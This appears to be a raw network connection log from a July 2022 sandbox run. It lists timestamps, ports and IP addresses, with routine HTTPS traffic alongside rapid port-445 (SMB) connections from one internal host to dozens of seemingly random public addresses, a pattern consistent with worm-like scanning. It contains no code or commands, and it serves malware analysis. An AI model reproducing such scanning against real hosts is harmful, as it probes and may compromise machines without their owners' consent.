Jul 20, 2022 19:30:36.782124043 CEST	50104	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.782135010 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.783241987 CEST	50105	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.783277988 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.783483028 CEST	50105	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.784307003 CEST	50105	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.784322977 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.846606970 CEST	50102	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.846627951 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.930320024 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.930708885 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.939541101 CEST	50104	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.939569950 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.943377972 CEST	50104	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.943402052 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.943428040 CEST	50104	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.943437099 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.944672108 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.944703102 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.944941044 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.945472002 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.945502996 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.945605993 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.945616961 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.945672989 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.945961952 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.945971012 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.953778982 CEST	50105	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.953809023 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.957293987 CEST	50105	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.957305908 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.957365990 CEST	50105	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.957372904 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.983304024 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.985779047 CEST	50102	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.985791922 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.988421917 CEST	50102	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.988428116 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:36.988504887 CEST	50102	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:36.988514900 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.020958900 CEST	50110	445	192.168.2.7	62.201.173.150
Jul 20, 2022 19:30:37.054944992 CEST	50111	445	192.168.2.7	102.37.65.70
Jul 20, 2022 19:30:37.071537018 CEST	50113	445	192.168.2.7	198.104.39.115
Jul 20, 2022 19:30:37.082737923 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.099770069 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.117944956 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.117985010 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.118035078 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.118067026 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.118818045 CEST	50104	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.139122009 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.139208078 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.139219999 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.139273882 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.139377117 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.139416933 CEST	50105	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.139472961 CEST	50105	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.156972885 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.157001019 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.157007933 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.157058954 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.157089949 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.157175064 CEST	50102	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.157229900 CEST	50102	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.204854012 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.204876900 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.473392010 CEST	50114	445	192.168.2.7	16.1.235.105
Jul 20, 2022 19:30:37.474601030 CEST	50115	445	192.168.2.7	173.228.186.203
Jul 20, 2022 19:30:37.484509945 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.484532118 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.485829115 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.485835075 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.485896111 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.485904932 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.493033886 CEST	50102	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.493057966 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.493067980 CEST	50102	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.493073940 CEST	443	50102	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.493431091 CEST	50105	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.493458033 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.493468046 CEST	50105	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.493473053 CEST	443	50105	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.504693985 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.504719019 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.506108999 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.506124020 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.506186008 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.506196022 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.506584883 CEST	50104	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.506607056 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.506618023 CEST	50104	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.506625891 CEST	443	50104	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.588712931 CEST	50117	445	192.168.2.7	109.2.215.61
Jul 20, 2022 19:30:37.589488983 CEST	50118	445	192.168.2.7	184.222.40.6
Jul 20, 2022 19:30:37.590193987 CEST	50119	445	192.168.2.7	94.159.17.237
Jul 20, 2022 19:30:37.590888977 CEST	50120	445	192.168.2.7	91.19.202.29
Jul 20, 2022 19:30:37.591418028 CEST	50121	445	192.168.2.7	35.64.63.138
Jul 20, 2022 19:30:37.668077946 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.668128014 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.668140888 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.668164015 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.668181896 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.668257952 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.668267012 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.668390989 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.690339088 CEST	50123	445	192.168.2.7	17.17.136.32
Jul 20, 2022 19:30:37.696105003 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.696135998 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.696147919 CEST	50107	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.696156025 CEST	443	50107	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.719906092 CEST	50124	445	192.168.2.7	159.45.2.200
Jul 20, 2022 19:30:37.733012915 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.733072996 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.733088970 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.733135939 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.733150959 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.733179092 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.733268976 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.733304977 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.834413052 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.834443092 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.834450960 CEST	50108	443	192.168.2.7	20.190.159.71
Jul 20, 2022 19:30:37.834458113 CEST	443	50108	20.190.159.71	192.168.2.7
Jul 20, 2022 19:30:37.933271885 CEST	50127	445	192.168.2.7	164.222.111.129
Jul 20, 2022 19:30:38.167253971 CEST	50130	445	192.168.2.7	219.7.121.36
Jul 20, 2022 19:30:38.174411058 CEST	50132	445	192.168.2.7	196.18.202.167
Jul 20, 2022 19:30:38.278139114 CEST	50133	445	192.168.2.7	68.41.181.174
Jul 20, 2022 19:30:38.612591028 CEST	50137	445	192.168.2.7	199.115.23.197
Jul 20, 2022 19:30:38.613069057 CEST	50138	445	192.168.2.7	35.196.102.117
Jul 20, 2022 19:30:39.745115042 CEST	50139	445	192.168.2.7	80.228.228.53
Jul 20, 2022 19:30:39.745794058 CEST	50140	445	192.168.2.7	142.103.207.217
Jul 20, 2022 19:30:39.746467113 CEST	50141	445	192.168.2.7	175.210.85.10
Jul 20, 2022 19:30:39.747136116 CEST	50142	445	192.168.2.7	170.0.154.186
Jul 20, 2022 19:30:39.747812986 CEST	50143	445	192.168.2.7	215.46.155.3
Jul 20, 2022 19:30:39.771802902 CEST	445	50139	80.228.228.53	192.168.2.7
Jul 20, 2022 19:30:39.782450914 CEST	50145	445	192.168.2.7	68.54.11.49
Jul 20, 2022 19:30:39.887624979 CEST	50146	445	192.168.2.7	20.42.236.218
Jul 20, 2022 19:30:39.888322115 CEST	50147	445	192.168.2.7	60.242.58.179
Jul 20, 2022 19:30:39.889005899 CEST	50148	445	192.168.2.7	175.110.108.199
Jul 20, 2022 19:30:39.889671087 CEST	50149	445	192.168.2.7	113.148.158.195
Jul 20, 2022 19:30:39.890341997 CEST	50150	445	192.168.2.7	32.10.224.62
Jul 20, 2022 19:30:39.891644955 CEST	50152	445	192.168.2.7	147.133.250.138
Jul 20, 2022 19:30:39.892302036 CEST	50153	445	192.168.2.7	126.137.184.196
Jul 20, 2022 19:30:39.985945940 CEST	445	50142	170.0.154.186	192.168.2.7
Jul 20, 2022 19:30:40.392724037 CEST	50139	445	192.168.2.7	80.228.228.53
Jul 20, 2022 19:30:40.417577028 CEST	445	50139	80.228.228.53	192.168.2.7
Jul 20, 2022 19:30:40.595813036 CEST	50142	445	192.168.2.7	170.0.154.186
Jul 20, 2022 19:30:40.834508896 CEST	445	50142	170.0.154.186	192.168.2.7
Jul 20, 2022 19:30:41.080233097 CEST	50139	445	192.168.2.7	80.228.228.53
Jul 20, 2022 19:30:41.105089903 CEST	445	50139	80.228.228.53	192.168.2.7
Jul 20, 2022 19:30:41.408636093 CEST	50142	445	192.168.2.7	170.0.154.186
Jul 20, 2022 19:30:41.647670031 CEST	445	50142	170.0.154.186	192.168.2.7
Jul 20, 2022 19:30:42.028192043 CEST	50156	445	192.168.2.7	179.77.12.122
Jul 20, 2022 19:30:42.029078960 CEST	50157	445	192.168.2.7	198.191.234.98
Jul 20, 2022 19:30:42.029942036 CEST	50158	445	192.168.2.7	198.29.233.250
Jul 20, 2022 19:30:42.030736923 CEST	50159	445	192.168.2.7	116.68.81.112
Jul 20, 2022 19:30:42.031620979 CEST	50160	445	192.168.2.7	30.13.226.69
Jul 20, 2022 19:30:42.032444954 CEST	50161	445	192.168.2.7	158.11.153.152
Jul 20, 2022 19:30:42.033075094 CEST	50162	445	192.168.2.7	218.247.242.248
Jul 20, 2022 19:30:42.123281002 CEST	50163	445	192.168.2.7	97.15.228.242
Jul 20, 2022 19:30:42.124093056 CEST	50164	445	192.168.2.7	3.236.167.176
Jul 20, 2022 19:30:42.124831915 CEST	50165	445	192.168.2.7	223.48.136.21
Jul 20, 2022 19:30:42.125560999 CEST	50166	445	192.168.2.7	190.126.94.220
Jul 20, 2022 19:30:42.126230955 CEST	50167	445	192.168.2.7	100.233.65.149
Jul 20, 2022 19:30:42.126943111 CEST	50168	445	192.168.2.7	177.138.105.90
Jul 20, 2022 19:30:42.129359007 CEST	50169	445	192.168.2.7	124.133.141.79
Jul 20, 2022 19:30:42.273587942 CEST	50172	445	192.168.2.7	107.144.221.213
Jul 20, 2022 19:30:43.085673094 CEST	50179	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:43.085707903 CEST	443	50179	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:43.085809946 CEST	50179	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:43.091125965 CEST	50179	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:43.091147900 CEST	443	50179	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:43.123826981 CEST	80	49712	209.197.3.8	192.168.2.7
Jul 20, 2022 19:30:43.123956919 CEST	49712	80	192.168.2.7	209.197.3.8
Jul 20, 2022 19:30:43.188177109 CEST	443	50179	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:43.188359976 CEST	50179	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:43.198008060 CEST	50179	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:43.198043108 CEST	443	50179	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:43.198332071 CEST	443	50179	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:43.271811008 CEST	50179	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:43.271878004 CEST	50179	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:43.271892071 CEST	443	50179	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:43.272806883 CEST	50179	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:43.281239033 CEST	50181	445	192.168.2.7	10.215.4.228
Jul 20, 2022 19:30:43.281424046 CEST	50182	445	192.168.2.7	94.123.213.206
Jul 20, 2022 19:30:43.281599045 CEST	50183	445	192.168.2.7	219.70.84.216
Jul 20, 2022 19:30:43.281620026 CEST	50184	445	192.168.2.7	55.38.219.174
Jul 20, 2022 19:30:43.281721115 CEST	50185	445	192.168.2.7	34.33.14.50
Jul 20, 2022 19:30:43.281800032 CEST	50186	445	192.168.2.7	66.227.141.15
Jul 20, 2022 19:30:43.281888008 CEST	50187	445	192.168.2.7	220.218.113.186
Jul 20, 2022 19:30:43.281964064 CEST	50188	445	192.168.2.7	116.194.136.102
Jul 20, 2022 19:30:43.282049894 CEST	50189	445	192.168.2.7	138.111.245.161
Jul 20, 2022 19:30:43.282224894 CEST	50191	445	192.168.2.7	173.136.226.236
Jul 20, 2022 19:30:43.282315016 CEST	50192	445	192.168.2.7	98.12.55.224
Jul 20, 2022 19:30:43.282402992 CEST	50193	445	192.168.2.7	5.155.40.109
Jul 20, 2022 19:30:43.285752058 CEST	50194	445	192.168.2.7	184.165.71.3
Jul 20, 2022 19:30:43.316499949 CEST	443	50179	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:43.320043087 CEST	443	50179	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:43.320120096 CEST	443	50179	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:43.320204020 CEST	50179	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:43.320341110 CEST	50179	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:30:43.320360899 CEST	443	50179	20.199.120.151	192.168.2.7
Jul 20, 2022 19:30:43.393989086 CEST	50197	445	192.168.2.7	204.188.60.109
Jul 20, 2022 19:30:43.528366089 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.528403044 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.528507948 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.528930902 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.528959036 CEST	443	50202	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.529032946 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.531956911 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.531979084 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.533052921 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.533067942 CEST	443	50202	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.619366884 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.619538069 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.620323896 CEST	443	50202	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.620419979 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.621279001 CEST	443	50202	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.621342897 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.621937037 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.622015953 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.716876030 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.716890097 CEST	443	50202	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.717184067 CEST	443	50202	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.717253923 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.738737106 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.738807917 CEST	443	50202	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.746226072 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.746242046 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.746526003 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.746583939 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.747025013 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.747051001 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.841197014 CEST	443	50202	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.841264009 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.841272116 CEST	443	50202	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.841326952 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.841609001 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.841629982 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.841691017 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.841708899 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.841763973 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.841768980 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.841836929 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.841880083 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.858715057 CEST	50201	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.858740091 CEST	443	50201	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:43.860152006 CEST	50202	443	192.168.2.7	131.253.33.200
Jul 20, 2022 19:30:43.860172987 CEST	443	50202	131.253.33.200	192.168.2.7
Jul 20, 2022 19:30:44.294666052 CEST	50209	445	192.168.2.7	105.175.16.51
Jul 20, 2022 19:30:44.393848896 CEST	50212	445	192.168.2.7	188.75.82.209
Jul 20, 2022 19:30:44.399274111 CEST	50213	445	192.168.2.7	19.190.238.16
Jul 20, 2022 19:30:44.399363995 CEST	50215	445	192.168.2.7	156.42.189.216
Jul 20, 2022 19:30:44.399408102 CEST	50216	445	192.168.2.7	35.148.244.122
Jul 20, 2022 19:30:44.399522066 CEST	50217	445	192.168.2.7	141.230.226.59
Jul 20, 2022 19:30:44.399602890 CEST	50219	445	192.168.2.7	69.75.157.92
Jul 20, 2022 19:30:44.399632931 CEST	50218	445	192.168.2.7	3.241.147.219
Jul 20, 2022 19:30:44.399674892 CEST	50220	445	192.168.2.7	158.28.173.216
Jul 20, 2022 19:30:44.399799109 CEST	50222	445	192.168.2.7	128.44.44.209
Jul 20, 2022 19:30:44.399812937 CEST	50221	445	192.168.2.7	137.16.123.147
Jul 20, 2022 19:30:44.399935961 CEST	50224	445	192.168.2.7	57.97.144.227
Jul 20, 2022 19:30:44.400006056 CEST	50223	445	192.168.2.7	79.53.115.218
Jul 20, 2022 19:30:44.411283016 CEST	50225	445	192.168.2.7	133.47.78.69
Jul 20, 2022 19:30:44.494472027 CEST	445	50212	188.75.82.209	192.168.2.7
Jul 20, 2022 19:30:44.519676924 CEST	50228	445	192.168.2.7	214.96.157.60
Jul 20, 2022 19:30:44.949711084 CEST	50232	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:44.949755907 CEST	443	50232	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:44.949851036 CEST	50232	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:44.950416088 CEST	50233	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:44.950444937 CEST	443	50233	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:44.950530052 CEST	50233	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:44.962296009 CEST	50232	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:44.962321043 CEST	443	50232	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:44.962579012 CEST	50233	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:44.962594986 CEST	443	50233	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.053214073 CEST	443	50233	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.053353071 CEST	50233	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.056288958 CEST	443	50232	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.056397915 CEST	50232	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.071655035 CEST	50232	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.071675062 CEST	443	50232	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.071899891 CEST	443	50232	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.071963072 CEST	50232	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.072058916 CEST	50233	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.072073936 CEST	443	50233	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.072264910 CEST	443	50233	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.072321892 CEST	50233	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.096165895 CEST	50212	445	192.168.2.7	188.75.82.209
Jul 20, 2022 19:30:45.099462986 CEST	50232	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.099519968 CEST	443	50232	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.099709034 CEST	50233	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.099735975 CEST	443	50233	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.196975946 CEST	445	50212	188.75.82.209	192.168.2.7
Jul 20, 2022 19:30:45.227068901 CEST	443	50232	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.227093935 CEST	443	50232	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.227154970 CEST	443	50232	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.227190971 CEST	50232	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.227219105 CEST	50232	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.231260061 CEST	50232	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.231295109 CEST	443	50232	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.260030985 CEST	443	50233	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.260052919 CEST	443	50233	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.260107040 CEST	443	50233	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.260155916 CEST	50233	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.260179996 CEST	50233	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.261737108 CEST	50233	443	192.168.2.7	20.40.136.238
Jul 20, 2022 19:30:45.261770010 CEST	443	50233	20.40.136.238	192.168.2.7
Jul 20, 2022 19:30:45.331326962 CEST	49712	80	192.168.2.7	209.197.3.8
Jul 20, 2022 19:30:45.348562002 CEST	80	49712	209.197.3.8	192.168.2.7
Jul 20, 2022 19:30:45.348628998 CEST	49712	80	192.168.2.7	209.197.3.8
Jul 20, 2022 19:30:45.402582884 CEST	50240	445	192.168.2.7	149.128.71.207
Jul 20, 2022 19:30:45.518799067 CEST	50242	445	192.168.2.7	2.153.111.180
Jul 20, 2022 19:30:45.523655891 CEST	50243	445	192.168.2.7	219.28.240.14
Jul 20, 2022 19:30:45.523679972 CEST	50245	445	192.168.2.7	193.44.235.139
Jul 20, 2022 19:30:45.523686886 CEST	50244	445	192.168.2.7	211.252.180.203
Jul 20, 2022 19:30:45.523817062 CEST	50246	445	192.168.2.7	72.123.8.204
Jul 20, 2022 19:30:45.523828983 CEST	50247	445	192.168.2.7	111.117.116.182
Jul 20, 2022 19:30:45.523927927 CEST	50248	445	192.168.2.7	102.215.225.8
Jul 20, 2022 19:30:45.523941994 CEST	50249	445	192.168.2.7	3.16.156.91
Jul 20, 2022 19:30:45.524040937 CEST	50250	445	192.168.2.7	3.30.52.164
Jul 20, 2022 19:30:45.524075985 CEST	50251	445	192.168.2.7	169.47.195.78
Jul 20, 2022 19:30:45.524147987 CEST	50252	445	192.168.2.7	213.142.151.149
Jul 20, 2022 19:30:45.524163008 CEST	50253	445	192.168.2.7	146.116.232.35
Jul 20, 2022 19:30:45.526860952 CEST	50254	445	192.168.2.7	128.114.39.112
Jul 20, 2022 19:30:45.535101891 CEST	50255	445	192.168.2.7	63.209.157.43
Jul 20, 2022 19:30:45.576366901 CEST	445	50252	213.142.151.149	192.168.2.7
Jul 20, 2022 19:30:45.576482058 CEST	50252	445	192.168.2.7	213.142.151.149
Jul 20, 2022 19:30:45.576618910 CEST	50252	445	192.168.2.7	213.142.151.149
Jul 20, 2022 19:30:45.577254057 CEST	50256	445	192.168.2.7	213.142.151.1
Jul 20, 2022 19:30:45.629316092 CEST	445	50252	213.142.151.149	192.168.2.7
Jul 20, 2022 19:30:45.629530907 CEST	445	50252	213.142.151.149	192.168.2.7
Jul 20, 2022 19:30:45.644042015 CEST	50257	445	192.168.2.7	68.6.156.69
Jul 20, 2022 19:30:45.761656046 CEST	50258	443	192.168.2.7	20.199.120.85
